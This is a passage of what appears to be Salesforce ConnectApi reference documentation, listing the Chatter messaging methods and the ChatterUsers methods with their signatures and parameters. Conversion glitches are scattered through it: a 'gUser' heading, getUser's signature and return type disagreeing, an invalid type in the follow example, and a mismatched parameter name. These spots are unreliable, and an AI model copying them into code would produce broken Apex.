If there are fewer than 50 unread conversations, `ConnectApi.UnreadConversationCount` returns the exact number of unread conversations and the `hasMore` property is `false`. If there are more than 50 unread conversations, `ConnectApi.UnreadConversationCount` returns 50 unread conversations and the `hasMore` property is `true`.

**markConversationRead(conversationId, read)**

Mark a conversation as read or unread.

API Version

29.0
Requires Chatter
Yes

Signature

```java
public static ConnectApi.ChatterConversationSummary markConversationRead(String conversationId, Boolean read)
```

Parameters

- **conversationId**
  - Type: `String`
  - Specify the ID for the conversation.

- **read**
  - Type: `Boolean`
  - Specify whether the conversation is read (`true`) or not (`false`).

Return Value

Type: `ConnectApi.ChatterConversationSummary`

### markConversationRead(communityId, conversationID, read)
Mark a conversation as read or unread in an Experience Cloud site.

API Version
30.0

Requires Chatter
Yes

Signature

```java
public static ConnectApi.ChatterConversationSummary markConversationRead(String communityId, String conversationID, Boolean read)
```

Parameters

- **communityId**
  - Type: `String`
  - Use the ID for an Experience Cloud site, `internal`, or `null`.

- **conversationId**
  - Type: `String`
  - Specify the ID for the conversation.

- **read**
  - Type: `Boolean`
Specify whether the conversation is read (true) or not (false).

Return Value
Type: ConnectApi.ChatterConversationSummary

replyToMessage(text, inReplyTo)
Reply to a message.

API Version
29.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterMessage replyToMessage(String text, String inReplyTo)

Parameters
text
Type: String
The text of the message. Cannot be empty or over 10,000 characters.
inReplyTo
Type: String
ID of the message that is being responded to.

Return Value
Type: ConnectApi.ChatterMessage

replyToMessage(communityId, text, inReplyTo)
Reply to a message in an Experience Cloud site.

API Version
30.0

Requires Chatter
Yes
public static ConnectApi.ChatterMessage replyToMessage(String communityId, String text, String inReplyTo)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

text
Type: String
The text of the message. Cannot be empty or over 10,000 characters.

inReplyTo
Type: String
ID of the message that is being responded to.

Return Value
Type: ConnectApi.ChatterMessage

searchConversation(conversationId, q)
Get a conversation that matches the search criteria.

API Version
29.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterConversation searchConversation(String conversationId, String q)

Parameters

conversationId
Type: String
Specify the ID for the conversation.

q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.
Return Value

Type: `ConnectApi.ChatterConversation`

`searchConversation(conversationId, pageParam, pageSize, q)`

Get a conversation with a page of messages that match the search criteria.

API Version

29.0

Requires Chatter

Yes

Signature

```java
public static ConnectApi.ChatterConversation searchConversation(String conversationId, String pageParam, Integer pageSize, String q)
```

Parameters

- **conversationId**
  Type: `String`
  Specify the ID for the conversation.

- **pageParam**
  Type: `String`
  Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

- **pageSize**
  Type: `Integer`
  Specifies the number of items per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

- **q**
  Type: `String`
  Required and cannot be `null`. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

Return Value

Type: `ConnectApi.ChatterConversation`

`searchConversation(communityId, conversationId, q)`

Get a conversation with messages that match the search criteria in an Experience Cloud site.

API Version

30.0
Requires Chatter
Yes

Signature

```java
public static ConnectApi.ChatterConversation searchConversation(String communityId,
String conversationId, String q)
```

Parameters

- `communityId`
  - Type: `String`
  - Use the ID for an Experience Cloud site, internal, or `null`.

- `conversationId`
  - Type: `String`
  - Specify the ID for the conversation.

- `q`
  - Type: `String`
  - Required and cannot be `null`. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

Return Value

Type: `ConnectApi.ChatterConversation`

**searchConversation(communityId, conversationId, pageParam, pageSize, q)**

Get a conversation with a page of messages that match the search criteria in an Experience Cloud site.

API Version

30.0

Requires Chatter
Yes

Signature

```java
public static ConnectApi.ChatterConversation searchConversation(String communityId,
String conversationId, String pageParam, Integer pageSize, String q)
```

Parameters

- `communityId`
  - Type: `String`
  - Use the ID for an Experience Cloud site, internal, or `null`.

- `conversationId`
  - Type: `String`
  - Specify the ID for the conversation.

- `pageParam`
  - Type: `String`
  - Specify the page parameter.

- `pageSize`
  - Type: `Integer`
  - Specify the page size.

- `q`
  - Type: `String`
  - Required and cannot be `null`. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.
**conversationId**
Type: String
Specify the ID for the conversation.

**pageParam**
Type: String
Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as currentPageToken or nextPageToken. If you pass in null, the first page is returned.

**pageSize**
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

**q**
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

Return Value
Type: ConnectApi.ChatterConversation

**searchConversations(q)**
Get conversations in which member names and messages match the search criteria.

API Version
29.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterConversationPage searchConversations(String q)

Parameters

**q**
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

Return Value
Type: ConnectApi.ChatterConversationPage
searchConversations(pageParam, pageSize, q)
Get a page of conversations in which member names and messages match the search criteria.

API Version
29.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterConversationPage searchConversations(String pageParam, Integer pageSize, String q)

Parameters
pageParam
Type: String
Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

Return Value
Type: ConnectApi.ChatterConversationPage

searchConversations(communityId, q)
Get conversations in which member names and messages match the search criteria in an Experience Cloud site.

API Version
30.0

Requires Chatter
Yes
Signature

public static ConnectApi.ChatterConversationPage searchConversations(String communityId, String q)

Parameters

communityId
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.

q
  Type: String
  Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

Return Value
Type: ConnectApi.ChatterConversationPage

searchConversations(communityId, pageParam, pageSize, q)

Get a page of conversations in which member names and messages match the search criteria in an Experience Cloud site.

API Version
30.0

Requires Chatter
Yes

Signature

public static ConnectApi.ChatterConversationPage searchConversations(String communityId, String pageParam, Integer pageSize, String q)

Parameters

communityId
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.

pageParam
  Type: String
  Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
  Type: Integer
  Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
q
 Type: String
 Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

Return Value
Type: ConnectApi.ChatterConversationPage

searchMessages(q)
Get messages that match the search criteria.

API Version
29.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterMessagePage searchMessages(String q)

Parameters
q
 Type: String
 Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

Return Value
Type: ConnectApi.ChatterMessagePage

searchMessages(pageParam, pageSize, q)
Get a page of messages that match the search criteria.

API Version
29.0

Requires Chatter
Yes
Signature

```java
public static ConnectApi.ChatterMessagePage searchMessages(String pageParam, Integer pageSize, String q)
```

Parameters

- **pageParam**
  - Type: `String`
  - Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

- **pageSize**
  - Type: `Integer`
  - Specifies the number of items per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

- **q**
  - Type: `String`
  - Required and cannot be `null`. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

Return Value

- Type: `ConnectApi.ChatterMessagePage`

```java
searchMessages(communityId, q)
```

Get messages that match the search criteria in an Experience Cloud site.

API Version

- 30.0

Requires Chatter

- Yes

Signature

```java
public static ConnectApi.ChatterMessagePage searchMessages(String communityId, String q)
```

Parameters

- **communityId**
  - Type: `String`
  - Use the ID for an Experience Cloud site, `internal`, or `null`.

- **q**
  - Type: `String`
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

Return Value
Type: ConnectApi.ChatterMessagePage

**searchMessages(communityId, pageParam, pageSize, q)**
Get a page of messages that match the search criteria in an Experience Cloud site.

API Version
30.0

Requires Chatter
Yes

Signature
```
public static ConnectApi.ChatterMessagePage searchMessages(String communityId, String pageParam, Integer pageSize, String q)
```

Parameters
- **communityId**
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.

- **pageParam**
  Type: String
  Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as currentPageToken or nextPageToken. If you pass in null, the first page is returned.

- **pageSize**
  Type: Integer
  Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

- **q**
  Type: String
  Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

Return Value
Type: ConnectApi.ChatterMessagePage

**sendMessage(text, recipients)**
Send a message to a list of recipients.
API Version
29.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterMessage sendMessage(String text, String recipients)

Parameters
text
    Type: String
    The text of the message. Cannot be empty or over 10,000 characters.
recipients
    Type: String
    Up to nine comma-separated IDs of the users receiving the message.

Return Value
Type: ConnectApi.ChatterMessage

sendMessage(communityId, text, recipients)
Send a message to a list of recipients in an Experience Cloud site.

API Version
30.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterMessage sendMessage(String communityId, String text, String recipients)

Parameters
communityId
    Type: String
    Use the ID for an Experience Cloud site, internal, or null.
text
    Type: String
The text of the message. Cannot be empty or over 10,000 characters.

**recipients**
Type: String
Up to nine comma-separated IDs of users to receive the message.

Return Value
Type: ConnectApi.ChatterMessage

**ChatterUsers Class**
Access information about users, such as activity, followers, subscriptions, files, and groups.

**Namespace**
ConnectApi

**ChatterUsers Methods**
The following are methods for ChatterUsers. All methods are static.

IN THIS SECTION:
- `exportUserActivities(communityId, userId)`
  Export Chatter-related user activity, such as bookmarks, topic endorsements, and votes.
- `follow(communityId, userId, subjectId)`
  Follow a user or record.
- `getChatterSettings(communityId, userId)`
  Get the default Chatter settings for a user.
- `getFollowers(communityId, userId)`
  Get the first page of followers for a user.
- `getFollowers(communityId, userId, pageParam, pageSize)`
  Get a page of followers for a user.
- `getFollowings(communityId, userId)`
  Get the first page of users and records that a user follows.
- `getFollowings(communityId, userId, pageParam)`
  Get a page of users and records that a user follows.
- `getFollowings(communityId, userId, pageParam, pageSize)`
  Get a page with the specified number of users and records that a user follows.
- `getFollowings(communityId, userId, filterType)`
  Get the first page of records, filtered by key prefix, that a user follows.
- `getFollowings(communityId, userId, filterType, pageParam)`
  Get a page of records, filtered by key prefix, that a user follows.
getFollowings(communityId, userId, filterType, pageParam, pageSize)
Get a page with the specified number of records, filtered by key prefix, that a user follows.

getReputation(communityId, userId)
Get a user’s reputation.

getUser(communityId, userId)
Get information about a user.

getUserBatch(communityId, userIds)
Get information about a list of users.

getUserGroups(communityId, userId)
Get a user’s groups.

getUserGroups(communityId, userId, pageParam, pageSize)
Get a page of a user’s groups.

getUsers(communityId)
Get the first page of users.

getUsers(communityId, pageParam, pageSize)
Get a page of users.

purgeUserActivities(communityId, userId)
Start a job to purge Chatter-related user activity, such as bookmarks, topic endorsements, and votes.

searchUserGroupDetails(communityId, userId, q)
Get the user’s groups that match the search criteria.

searchUserGroupDetails(communityId, userId, q, pageParam, pageSize)
Get a page of a user’s groups that match the search criteria.

searchUsers(communityId, q)
Get the first page of users that match the search criteria.

searchUsers(communityId, q, pageParam, pageSize)
Get a page of users that match the search criteria.

searchUsers(communityId, q, searchContextId, pageParam, pageSize)
Get a page of users that match the search criteria.

updateChatterSettings(communityId, userId, defaultGroupEmailFrequency)
Update the default Chatter settings for a user.

updateUser(communityId, userId, userInput)
Update the About Me section for a user.

exportUserActivities(communityId, userId)
Export Chatter-related user activity, such as bookmarks, topic endorsements, and votes.

API Version
42.0
Requires Chatter
Yes

Signature
public static ConnectApi.UserActivitiesJob exportUserActivities(String communityId, String userId)

Parameters
communityId
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.
userId
  Type: String
  ID of the user.

Return Value
Type: ConnectApi.UserActivitiesJob

Usage
The following activities can be exported.
  • Bookmark—User bookmarked a post.
  • ChatterActivity—Total counts of posts and comments made and likes and comments received for a user.
  • ChatterLike—User liked a post or comment.
  • Comment—User commented on a post.
  • CompanyVerify—User verified comment.
  • DownVote—User downvoted a post or comment.
  • FeedEntityRead—User read a post.
  • FeedRead—User read a feed.
  • Mute—User muted a post.
  • Post—User made a post.
  • TopicEndorsement—User endorsed another user on a topic or received endorsement on a topic.
  • UpVote—User upvoted a post or comment.

follow(communityId, userId, subjectId)
Follow a user or record.

API Version
28.0
Requires Chatter
Yes

Signature

```java
public static ConnectApi.Subscription follow(String communityId, String userId, String subjectId)
```

Parameters

- **communityId**
  Type: `String`
  Use the ID for an Experience Cloud site, internal, or `null`.

- **userId**
  Type: `String`
  The ID for the context user or the keyword `me`.

- **subjectId**
  Type: `String`
  ID of the user or record to follow.

Return Value

Type: `ConnectApi.Subscription`

Example

```java
ChatterUsers.ConnectApi.Subscription subscriptionToRecord =
    ConnectApi.ChatterUsers.follow(null, 'me', '001RR000002G4Y0');
```

SEE ALSO:

- Unfollow a Record

**getChatterSettings(communityId, userId)**

Get the default Chatter settings for a user.

API Version

28.0

Requires Chatter
Yes
public static ConnectApi.UserChatterSettings getChatterSettings(String communityId, String userId)

Parameters

**communityId**
Type: String
Use the ID for an Experience Cloud site, internal, or null.

**userId**
Type: String
The ID for the context user or the keyword me.

Return Value
Type: ConnectApi.UserChatterSettings

getFollowers(communityId, userId)
Get the first page of followers for a user.

API Version
28.0

Available to Guest Users
32.0

Requires Chatter
Yes

Signature
public static ConnectApi.FollowerPage getFollowers(String communityId, String userId)

Parameters

**communityId**
Type: String
Use the ID for an Experience Cloud site, internal, or null.

**userId**
Type: String
The ID for a user.
Return Value
Type: `ConnectApi.FollowerPage`

```java
public static ConnectApi.FollowerPage getFollowers(String communityId, String userId,
        Integer pageParam, Integer pageSize)
```

Get a page of followers for a user.

API Version
28.0

Available to Guest Users
32.0

Requires Chatter
Yes

Signature

```java
public static ConnectApi.FollowerPage getFollowers(String communityId, String userId,
        Integer pageParam, Integer pageSize)
```

Parameters

`communityId`
Type: `String`
Use the ID for an Experience Cloud site, internal, or null.

`userId`
Type: `String`
The ID for a user.

`pageParam`
Type: `Integer`
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

`pageSize`
Type: `Integer`
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: `ConnectApi.FollowerPage`

```java
getFollowings(communityId, userId)
```

Get the first page of users and records that a user follows.
public static ConnectApi.FollowingPage getFollowings(String communityId, String userId)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

userId
Type: String
The ID for a user.

Return Value
Type: ConnectApi.FollowingPage

getFollowings(communityId, userId, pageParam)
Get a page of users and records that a user follows.
Parameters

`communityId`
Type: String
Use the ID for an Experience Cloud site, internal, or null.

`userId`
Type: String
The ID for a user.

`pageParam`
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

Return Value
Type: ConnectApi.FollowingPage

`getFollowings(communityId, userId, pageParam, pageSize)`
Get a page with the specified number of users and records that a user follows.

API Version
28.0

Available to Guest Users
32.0

Requires Chatter
Yes

Signature
`public static ConnectApi.FollowingPage getFollowings(String communityId, String userId, Integer pageParam, Integer pageSize)`

Parameters

`communityId`
Type: String
Use the ID for an Experience Cloud site, internal, or null.

`userId`
Type: String
The ID for a user.

`pageParam`
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in `null` or 0, the first page is returned.

`pageSize`
Type: `Integer`

Specifies the number of items per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

Return Value
Type: `ConnectApi.FollowingPage`

`getFollowings(communityId, userId, filterType)`
Get the first page of records, filtered by key prefix, that a user follows.

API Version
28.0

Available to Guest Users
32.0

Requires Chatter
Yes

Signature
```java
public static ConnectApi.FollowingPage getFollowings(String communityId, String userId, String filterType)
```

Parameters

`communityId`
Type: `String`
Use the ID for an Experience Cloud site, `internal`, or `null`.

`userId`
Type: `String`
The ID for a user.

`filterType`
Type: `String`
Specifies the key prefix to filter the type of objects returned. A key prefix is the first three characters of the object ID, which specifies the object type. For example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.

Return Value
Type: `ConnectApi.FollowingPage`
**getFollowings(communityId, userId, filterType, pageParam)**

Get a page of records, filtered by key prefix, that a user follows.

**API Version**

28.0

**Available to Guest Users**

32.0

**Requires Chatter**

Yes

**Signature**

```java
public static ConnectApi.FollowingPage getFollowings(String communityId, String userId, String filterType, Integer pageParam)
```

**Parameters**

- `communityId`
  - **Type:** String
  - Use the ID for an Experience Cloud site, internal, or `null`.

- `userId`
  - **Type:** String
  - The ID for a user.

- `filterType`
  - **Type:** String
  - Specifies the key prefix to filter the type of objects returned. A key prefix is the first three characters of the object ID, which specifies the object type. For example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.

- `pageParam`
  - **Type:** Integer
  - Specifies the number of the page you want returned. Starts at 0. If you pass in `null` or 0, the first page is returned.

**Return Value**

- **Type:** `ConnectApi.FollowingPage`

---

**getFollowings(communityId, userId, filterType, pageParam, pageSize)**

Get a page with the specified number of records, filtered by key prefix, that a user follows.

**API Version**

28.0
Available to Guest Users
32.0

Requires Chatter
Yes

Signature
public static ConnectApi.FollowingPage getFollowings(String communityId, String userId,
String filterType, Integer pageParam, Integer pageSize)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

userId
Type: String
The ID for a user.

filterType
Type: String
Specifies the key prefix to filter the type of objects returned. A key prefix is the first three characters of the object ID, which specifies the object type. For example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.

pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.FollowingPage

getReputation(communityId, userId)
Get a user's reputation.

API Version
32.0

Available to Guest Users
32.0
Requires Chatter
Yes

Signature
public static ConnectApi.Reputation getReputation(String communityId, String userId)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

userId
Type: String
ID of the user.

Return Value
Type: ConnectApi.Reputation

gUser(communityId, userId)
Get information about a user.

API Version
28.0

Available to Guest Users
32.0

Requires Chatter
Yes

Signature
public static ConnectApi.UserSummary getUser(String communityId, String userId)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

userId
Type: String
The ID for a user.
Return Value
Type: `ConnectApi.UserDetail`

Usage
If the user is external, the properties that the `ConnectApi.UserDetail` output class shares with the `ConnectApi.UserSummary` output class can have non-null values. Other properties are always `null`.

`getUserBatch(communityId, userIds)`
Get information about a list of users.

API Version
31.0

Available to Guest Users
32.0

Requires Chatter
Yes

Signature
```java
public static ConnectApi.BatchResult[] getUserBatch(String communityId, List<String> userIds)
```

Parameters
- `communityId`
  Type: `String`
  Use the ID for an Experience Cloud site, internal, or `null`.
- `userIds`
  Type: `List<String>`
  A list of up to 500 user IDs.

Return Value
Type: `ConnectApi.BatchResult[]`

The `ConnectApi.BatchResult.getResult()` method returns a `ConnectApi.User` object and errors for users that didn’t load.

Example
```java
// Get users in an organization.
ConnectApi.UserPage userPage = ConnectApi.ChatterUsers.getUsers(null);
```
// Create a list of user IDs.
List<String> userList = new List<String>();
for (ConnectApi.User user : userPage.users){
    userList.add(user.id);
}

// Get info about all users in the list.
ConnectApi.BatchResult[] batchResults = ConnectApi.ChatterUsers.getUserBatch(null, userList);

for (ConnectApi.BatchResult batchResult : batchResults) {
    if (batchResult.isSuccess()) {
        // Operation was successful.
        // Print each user's username.
        ConnectApi.UserDetail user;
        if(batchResult.getResult() instanceof ConnectApi.UserDetail) {
            user = (ConnectApi.UserDetail) batchResult.getResult();
        }
        System.debug('SUCCESS');
        System.debug(user.username);
    } else {
        // Operation failed. Print errors.
        System.debug('FAILURE');
        System.debug(batchResult.getErrorMessage());
    }
}

getUserGroups(communityId, userId)
Get a user's groups.

API Version
45.0

Available to Guest Users
45.0

Requires Chatter
Yes

Signature
public static ConnectApi.UserGroupDetailPage getUserGroups(String communityId, String userId)

Parameters

communityId
    Type: String
Use the ID for an Experience Cloud site, internal, or null.

userId
Type: String
The ID for a user.

Return Value
Type: ConnectApi.UserGroupDetailPage

getUserGroups(communityId, userId, pageParam, pageSize)
Get a page of a user’s groups.

API Version
45.0

Available to Guest Users
45.0

Requires Chatter
Yes

Signature
public static ConnectApi.UserGroupDetailPage getUserGroups(String communityId, String userId, Integer pageParam, Integer pageSize)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

userId
Type: String
The ID for a user.

pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
Return Value
Type: ConnectApi.UserGroupDetailPage

**getUsers(communityId)**
Get the first page of users.

API Version
28.0

Available to Guest Users
32.0

Requires Chatter
Yes

Signature
public static ConnectApi.UserPage getUsers(String communityId)

Parameters
- **communityId**
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.

Return Value
Type: ConnectApi.UserPage

**getUsers(communityId, pageParam, pageSize)**
Get a page of users.

API Version
28.0

Available to Guest Users
32.0

Requires Chatter
Yes
Signature

```java
public static ConnectApi.UserPage getUsers(String communityId, Integer pageParam, Integer pageSize)
```

Parameters

- `communityId`
  Type: `String`
  Use the ID for an Experience Cloud site, internal, or `null`.

- `pageParam`
  Type: `Integer`
  Specifies the number of the page you want returned. Starts at 0. If you pass in `null` or 0, the first page is returned.

- `pageSize`
  Type: `Integer`
  Specifies the number of items per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

Return Value

Type: `ConnectApi.UserPage`

**purgeUserActivities(communityId, userId)**

Start a job to purge Chatter-related user activity, such as bookmarks, topic endorsements, and votes.

API Version

42.0

Requires Chatter

Yes

Signature

```java
public static ConnectApi.UserActivitiesJob purgeUserActivities(String communityId, String userId)
```

Parameters

- `communityId`
  Type: `String`
  Use the ID for an Experience Cloud site, internal, or `null`.

- `userId`
  Type: `String`
  ID of the user.
Return Value
Type: ConnectApi.UserActivitiesJob

Usage
The following activities can be purged with this method.

- **Bookmark**—User bookmarked a post.
- **ChatterActivity**—Total counts of posts and comments made and likes and comments received for a user.
- **ChatterLike**—User liked a post or comment.
- **CompanyVerify**—User verified comment.
- **DownVote**—User downvoted a post or comment.
- **FeedEntityRead**—User read a post.
- **FeedRead**—User read a feed.
- **Mute**—User muted a post.
- **TopicEndorsement**—User endorsed another user on a topic or received endorsement on a topic.
- **UpVote**—User upvoted a post or comment.

To delete a user’s posts and comments, use these methods, respectively.

- `deleteFeedElement(communityId, feedElementId)`
- `deleteComment(communityId, commentId)`

**searchUserGroupDetails(communityId, userId, q)**
Get the user’s groups that match the search criteria.

API Version
45.0

Available to Guest Users
45.0

Requires Chatter
Yes

Signature

```java
public static ConnectApi.UserGroupDetailPage searchUserGroupDetails(String communityId, String userId, String q)
```

Parameters

- **communityId**
  Type: String
  
  Use the ID for an Experience Cloud site, internal, or null.
userId
Type: String
The ID for a user.

q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

Return Value
Type: ConnectApi.UserGroupDetailPage

searchUserGroupDetails(communityId, userId, q, pageParam, pageSize)
Get a page of a user’s groups that match the search criteria.

API Version
45.0

Available to Guest Users
45.0

Requires Chatter
Yes

Signature
public static ConnectApi.UserGroupDetailPage searchUserGroupDetails(String communityId, String userId, String q, Integer pageParam, Integer pageSize)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

userId
Type: String
The ID for a user.

q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in `null` or 0, the first page is returned.

`pageSize`
Type: `Integer`

Specifies the number of items per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

Return Value
Type: `ConnectApi.UserGroupDetailPage`

`searchUsers(communityId, q)`
Get the first page of users that match the search criteria.

API Version
28.0

Available to Guest Users
32.0

Requires Chatter
Yes

Signature
```
public static ConnectApi.UserPage searchUsers(String communityId, String q)
```

Parameters
`communityId`
Type: `String`

Use the ID for an Experience Cloud site, `internal`, or `null`.

`q`
Type: `String`

Required and cannot be `null`. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See `Wildcards`.

Return Value
Type: `ConnectApi.UserPage`
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
setTestSearchUsers(communityId, q, result)
Testing ConnectApi Code

searchUsers(communityId, q, pageParam, pageSize)
Get a page of users that match the search criteria.

API Version
28.0

Available to Guest Users
32.0

Requires Chatter
Yes

Signature
public static ConnectApi.UserPage searchUsers(String communityId, String q, Integer pageParam, Integer pageSize)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
Return Value
Type: `ConnectApi.UserPage`

Usage
To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
- `setTestSearchUsers(communityId, q, pageParam, pageSize, result)`
- Testing ConnectApi Code

**searchUsers(communityId, q, searchContextId, pageParam, pageSize)**

Get a page of users that match the search criteria.

API Version
28.0

Available to Guest Users
32.0

Requires Chatter
Yes

Signature

```
public static ConnectApi.UserPage searchUsers(String communityId, String q, String searchContextId, Integer pageParam, Integer pageSize)
```

Parameters

- **communityId**
  Type: `String`
  Use the ID for an Experience Cloud site, internal, or `null`.

- **q**
  Type: `String`
  Required and cannot be `null`. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

- **searchContextId**
  Type: `String`
  A feed item ID that filters search results for feed @mentions. More useful results are listed first. When you specify this argument, you cannot query more than 500 results and you cannot use wildcards in the search term.
pageNumber
  Type: Integer
  Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

pageSize
  Type: Integer
  Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
  Type: ConnectApi.UserPage

Usage
  To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
  setTestSearchUsers(communityId, q, searchContextId, pageParam, pageSize, result)
  Testing ConnectApi Code

updateChatterSettings(communityId, userId, defaultGroupEmailFrequency)
Update the default Chatter settings for a user.

API Version
28.0

Requires Chatter
Yes

Signature
public static ConnectApi.UserChatterSettings updateChatterSettings(String communityId, String userId, ConnectApi.GroupEmailFrequency defaultGroupEmailFrequency)

Parameters

communityId
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.

userId
  Type: String
  The ID for the context user or the keyword me.

defaultGroupEmailFrequency
  Type: ConnectApi.GroupEmailFrequency

Frequency with which a user receives email. Values are:

- EachPost
- DailyDigest
- WeeklyDigest
- Never
- UseDefault

Don’t pass the value `UseDefault` for the `defaultGroupEmailFrequency` parameter because calling `updateChatterSettings` sets the default value.

Return Value
Type: `ConnectApi.UserChatterSettings`

`updateUser(communityId, userId, userInput)`
Update the About Me section for a user.

API Version
29.0

Requires Chatter
Yes

Signature
`public static ConnectApi.UserDetail updateUser(String communityId, String userId, ConnectApi.UserInput userInput)`

Parameters
`communityId`
Type: `String`
Use the ID for an Experience Cloud site, `internal`, or `null`.

`userId`
Type: `String`
The ID for the context user or the keyword `me`.

`userInput`
Type: `ConnectApi.UserInput`
Specifies the updated information.

Return Value
Type: `ConnectApi.UserDetail`
ChatterUsers Test Methods

The following are the test methods for ChatterUsers. All methods are static.

For information about using these methods to test your ConnectApi code, see Testing ConnectApi Code.

IN THIS SECTION:

- `setTestSearchUsers(communityId, q, result)`
  Register a `ConnectApi.UserPage` object to be returned when the matching `ConnectApi.searchUsers` method is called in a test context. Use the method with the same parameters or you receive an exception.

- `setTestSearchUsers(communityId, q, pageParam, pageSize, result)`
  Register a `ConnectApi.UserPage` object to be returned when the matching `ConnectApi.searchUsers` method is called in a test context. Use the method with the same parameters or you receive an exception.

- `setTestSearchUsers(communityId, q, searchContextId, pageParam, pageSize, result)`
  Register a `ConnectApi.UserPage` object to be returned when the matching `ConnectApi.searchUsers` method is called in a test context. Use the method with the same parameters or you receive an exception.

- `setTestSearchUsers(communityId, q, result)`
  Register a `ConnectApi.UserPage` object to be returned when the matching `ConnectApi.searchUsers` method is called in a test context. Use the method with the same parameters or you receive an exception.

**setTestSearchUsers(communityId, q, result)**

Register a `ConnectApi.UserPage` object to be returned when the matching `ConnectApi.searchUsers` method is called in a test context. Use the method with the same parameters or you receive an exception.

**API Version**

28.0

**Signature**

```java
public static Void setTestSearchUsers(String communityId, String q, ConnectApi.UserPage result)
```

**Parameters**

- `communityId`
  Type: `String`
